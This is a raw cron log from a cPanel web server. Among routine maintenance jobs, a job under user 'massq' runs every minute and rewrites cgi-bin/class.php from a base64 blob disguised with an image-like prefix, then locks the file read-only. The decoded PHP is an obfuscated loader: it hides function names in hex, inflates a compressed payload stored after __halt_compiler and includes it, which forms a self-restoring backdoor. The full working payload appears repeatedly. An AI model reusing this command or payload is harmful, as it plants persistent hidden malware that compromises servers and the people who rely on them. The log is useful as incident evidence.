Sep  4 11:03:01 server CROND[1164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:03:01 server CROND[1163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:03:01 server CROND[1165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:04:01 server CROND[1581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:04:01 server CROND[1582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:04:01 server CROND[1583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:05:01 server CROND[1997]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 11:05:01 server CROND[2000]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:05:01 server CROND[2006]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:05:01 server CROND[2010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:05:01 server CROND[2012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:05:01 server CROND[2016]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 11:05:01 server CROND[2015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:05:01 server CROND[2014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:05:01 server CROND[2011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:06:01 server CROND[2986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:06:01 server CROND[2987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:06:01 server CROND[2988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:07:01 server CROND[3375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:07:01 server CROND[3376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:07:01 server CROND[3377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:08:01 server CROND[3758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:08:01 server CROND[3759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:08:01 server CROND[3760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:09:01 server CROND[4148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:09:01 server CROND[4149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:09:01 server CROND[4151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:09:01 server CROND[4150]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 11:10:01 server CROND[4542]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:10:01 server CROND[4543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:10:01 server CROND[4548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:10:01 server CROND[4549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:10:01 server CROND[4553]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:10:01 server CROND[4551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:10:01 server CROND[4550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:10:01 server CROND[4552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:11:01 server CROND[5501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:11:01 server CROND[5502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:11:01 server CROND[5503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:12:01 server CROND[5878]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 11:12:01 server CROND[5879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:12:01 server CROND[5881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:12:01 server CROND[5880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:13:01 server CROND[6259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:13:01 server CROND[6258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:13:01 server CROND[6260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:14:01 server CROND[6663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:14:01 server CROND[6664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:14:01 server CROND[6665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:15:01 server CROND[7099]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:15:01 server CROND[7100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
